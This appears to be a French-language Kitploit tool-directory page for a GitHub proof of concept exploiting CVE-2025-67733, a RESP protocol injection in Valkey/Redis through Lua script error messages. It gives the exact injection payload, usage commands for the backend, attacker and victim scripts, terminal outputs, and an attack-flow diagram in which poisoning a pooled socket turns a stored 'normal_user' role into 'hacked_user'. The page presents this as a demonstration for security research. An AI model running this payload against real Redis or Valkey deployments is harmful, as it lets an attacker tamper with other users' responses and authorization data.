Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-67733 — Redis/Valkey RESP Injection PoC (CVE-2025-67733) | Kitploit
Outils/GitHubGitHub/jylab/cve-2025-67733
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubjylab/cve-2025-67733

CVE-2025-67733

Redis/Valkey RESP Injection PoC (CVE-2025-67733)

Voir le dépôt
1il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept d'injection de protocole RESP

Preuve de concept démontrant la vulnérabilité d'injection de protocole RESP via les messages d'erreur de scripts Lua dans Valkey/Redis.

Fichiers

backend.py

Backend Flask simulant une application web avec une connexion Valkey partagée (pool de connexions).

Endpoints :

MethodEndpointDescription
POST/api/user/roleDéfinir le rôle utilisateur
GET/api/user/roleObtenir le rôle utilisateur
POST/api/processExécuter un script Lua

Utilisation :

root@kitploit:~
python backend.py <Valkey host> <Valkey port> [password]

# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword

attacker_client.py

Injecte des données RESP malveillantes dans le tampon de socket via le message d'erreur d'un script Lua.

Payload :

root@kitploit:~
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))

Utilisation :

root@kitploit:~
python attacker_client.py

victim_client.py

Client légitime qui définit et récupère les rôles utilisateur.

Utilisation :

root@kitploit:~
python victim_client.py set    # Set role to "normal_user"
python victim_client.py get    # Get current role

Démonstration de l'attaque

Prérequis

root@kitploit:~
pip install flask requests

Étapes

Terminal 1 - Lancer le backend :

root@kitploit:~
python backend.py 127.0.0.1 6379

Terminal 2 - Définir le rôle :

root@kitploit:~
python victim_client.py set
# Output: 'role':'normal_user' has been set.

python victim_client.py get
# Output: 'role':'normal_user'

Terminal 3 - Attaque :

root@kitploit:~
python attacker_client.py
# Output: Socket poisoning successful

Terminal 2 - Obtenir le rôle (après l'attaque) :

root@kitploit:~
python victim_client.py get
# Output: 'role':'hacked_user'

Déroulement de l'attaque

root@kitploit:~
1. Victim sets role
   victim_client.py set --> backend --> Valkey
                                        SET user:user:role "normal_user"

2. Attacker injects payload
   attacker_client.py --> backend --> Valkey
                                      EVAL 'error(...)' 0

   Backend reads: "-ERR INJECTED\r\n"
   Buffer remains: "$11\r\nhacked_user"

3. Victim gets role
   victim_client.py get --> backend --> Valkey
                                        GET user:user:role

   Backend reads from buffer: "$11\r\nhacked_user"
   Victim receives: "hacked_user"
Télécharger l’outil